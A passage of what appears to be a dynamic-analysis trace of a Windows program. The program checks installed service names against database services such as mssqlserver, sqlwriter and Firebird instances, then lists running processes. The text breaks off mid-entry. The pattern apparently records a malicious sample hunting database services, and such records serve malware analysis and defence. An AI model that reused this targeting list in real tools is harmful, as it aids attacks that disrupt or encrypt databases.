lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0183.213] lstrlenW (lpString="ClickToRunSvc") returned 13 [0183.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0183.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0183.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0183.213] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0183.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.213] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0183.213] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0183.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0183.213] lstrlenW (lpString="CryptSvc") returned 8 [0183.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0183.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0183.213] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0183.213] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0183.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0183.214] lstrlenW (lpString="DcomLaunch") returned 10 [0183.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.214] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0183.214] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0183.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0183.214] lstrlenW (lpString="DeviceAssociationService") returned 24 [0183.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.214] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0183.214] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0183.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0183.214] lstrlenW (lpString="Dhcp") returned 4 [0183.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0183.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0183.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0183.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0183.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0183.214] lstrlenW (lpString="Dnscache") returned 8 [0183.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0183.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0183.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0183.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0183.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0183.214] lstrlenW (lpString="DPS") returned 3 [0183.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0183.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0183.214] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0183.215] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0183.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0183.215] lstrlenW (lpString="DsmSvc") returned 6 [0183.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0183.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0183.215] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0183.215] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0183.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0183.215] lstrlenW (lpString="DusmSvc") returned 7 [0183.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0183.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0183.215] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0183.215] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0183.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0183.215] lstrlenW (lpString="EventLog") returned 8 [0183.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0183.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0183.215] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0183.215] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0183.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0183.215] lstrlenW (lpString="EventSystem") returned 11 [0183.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0183.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0183.216] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0183.216] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0183.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0183.216] lstrlenW (lpString="FontCache") returned 9 [0183.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0183.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0183.216] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0183.216] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0183.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0183.216] lstrlenW (lpString="gpsvc") returned 5 [0183.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0183.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0183.216] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0183.216] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0183.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0183.216] lstrlenW (lpString="iphlpsvc") returned 8 [0183.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.216] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0183.216] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0183.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0183.216] lstrlenW (lpString="KeyIso") returned 6 [0183.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0183.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0183.216] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0183.216] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0183.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0183.216] lstrlenW (lpString="LanmanServer") returned 12 [0183.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0183.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0183.216] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0183.216] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0183.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0183.217] lstrlenW (lpString="LanmanWorkstation") returned 17 [0183.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.217] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0183.217] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0183.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0183.217] lstrlenW (lpString="lfsvc") returned 5 [0183.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0183.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0183.217] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0183.217] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0183.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0183.217] lstrlenW (lpString="lmhosts") returned 7 [0183.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0183.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0183.217] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0183.217] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0183.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0183.217] lstrlenW (lpString="LSM") returned 3 [0183.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0183.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0183.217] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0183.217] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0183.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0183.217] lstrlenW (lpString="MpsSvc") returned 6 [0183.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0183.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0183.217] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0183.217] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0183.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0183.218] lstrlenW (lpString="NcbService") returned 10 [0183.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0183.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0183.218] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0183.218] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0183.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0183.218] lstrlenW (lpString="netprofm") returned 8 [0183.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0183.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0183.287] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0183.288] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0183.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0183.288] lstrlenW (lpString="NgcSvc") returned 6 [0183.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0183.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0183.288] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0183.288] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0183.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0183.288] lstrlenW (lpString="NlaSvc") returned 6 [0183.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0183.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0183.288] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0183.288] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0183.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0183.288] lstrlenW (lpString="nsi") returned 3 [0183.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0183.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0183.288] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0183.288] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0183.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0183.288] lstrlenW (lpString="PcaSvc") returned 6 [0183.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0183.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0183.288] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0183.288] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0183.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0183.288] lstrlenW (lpString="PlugPlay") returned 8 [0183.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0183.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0183.288] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0183.288] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0183.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0183.289] lstrlenW (lpString="Power") returned 5 [0183.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0183.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0183.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0183.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0183.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0183.289] lstrlenW (lpString="ProfSvc") returned 7 [0183.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0183.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0183.289] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0183.289] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0183.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0183.289] lstrlenW (lpString="RpcEptMapper") returned 12 [0183.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.289] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0183.289] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0183.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0183.289] lstrlenW (lpString="RpcSs") returned 5 [0183.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0183.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0183.289] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0183.289] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0183.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0183.289] lstrlenW (lpString="SamSs") returned 5 [0183.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0183.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0183.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0183.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0183.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0183.290] lstrlenW (lpString="Schedule") returned 8 [0183.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0183.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0183.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0183.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0183.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0183.290] lstrlenW (lpString="SecurityHealthService") returned 21 [0183.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0183.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0183.290] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0183.290] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0183.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0183.290] lstrlenW (lpString="SENS") returned 4 [0183.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0183.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0183.290] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0183.290] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0183.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0183.290] lstrlenW (lpString="ShellHWDetection") returned 16 [0183.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.290] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0183.290] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0183.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0183.290] lstrlenW (lpString="Spooler") returned 7 [0183.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0183.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0183.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0183.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0183.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0183.291] lstrlenW (lpString="StateRepository") returned 15 [0183.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0183.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0183.291] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0183.291] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0183.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0183.291] lstrlenW (lpString="SysMain") returned 7 [0183.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0183.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0183.291] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0183.291] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0183.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0183.291] lstrlenW (lpString="SystemEventsBroker") returned 18 [0183.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0183.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0183.291] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0183.291] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0183.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0183.291] lstrlenW (lpString="Themes") returned 6 [0183.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0183.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0183.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0183.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0183.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0183.291] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0183.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0183.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0183.291] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0183.291] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0183.292] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4579110 | out: hHeap=0x420000) returned 1 [0183.292] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x484 [0183.438] Process32FirstW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.438] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0183.438] lstrlenW (lpString="System") returned 6 [0183.439] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0183.439] lstrlenW (lpString="smss.exe") returned 8 [0183.439] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.439] lstrlenW (lpString="csrss.exe") returned 9 [0183.439] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0183.440] lstrlenW (lpString="wininit.exe") returned 11 [0183.440] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.440] lstrlenW (lpString="csrss.exe") returned 9 [0183.440] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0183.441] lstrlenW (lpString="winlogon.exe") returned 12 [0183.441] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0183.441] lstrlenW (lpString="services.exe") returned 12 [0183.441] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0183.442] lstrlenW (lpString="lsass.exe") returned 9 [0183.442] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0183.442] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0183.442] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0183.442] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0183.443] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.443] lstrlenW (lpString="svchost.exe") returned 11 [0183.443] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.443] lstrlenW (lpString="svchost.exe") returned 11 [0183.443] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0183.444] lstrlenW (lpString="dwm.exe") returned 7 [0183.444] Process32NextW (in: hSnapshot=0x484, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.444] lstrlenW (lpString="svchost.exe") returned 11 [0183.444] Process32NextW (in: 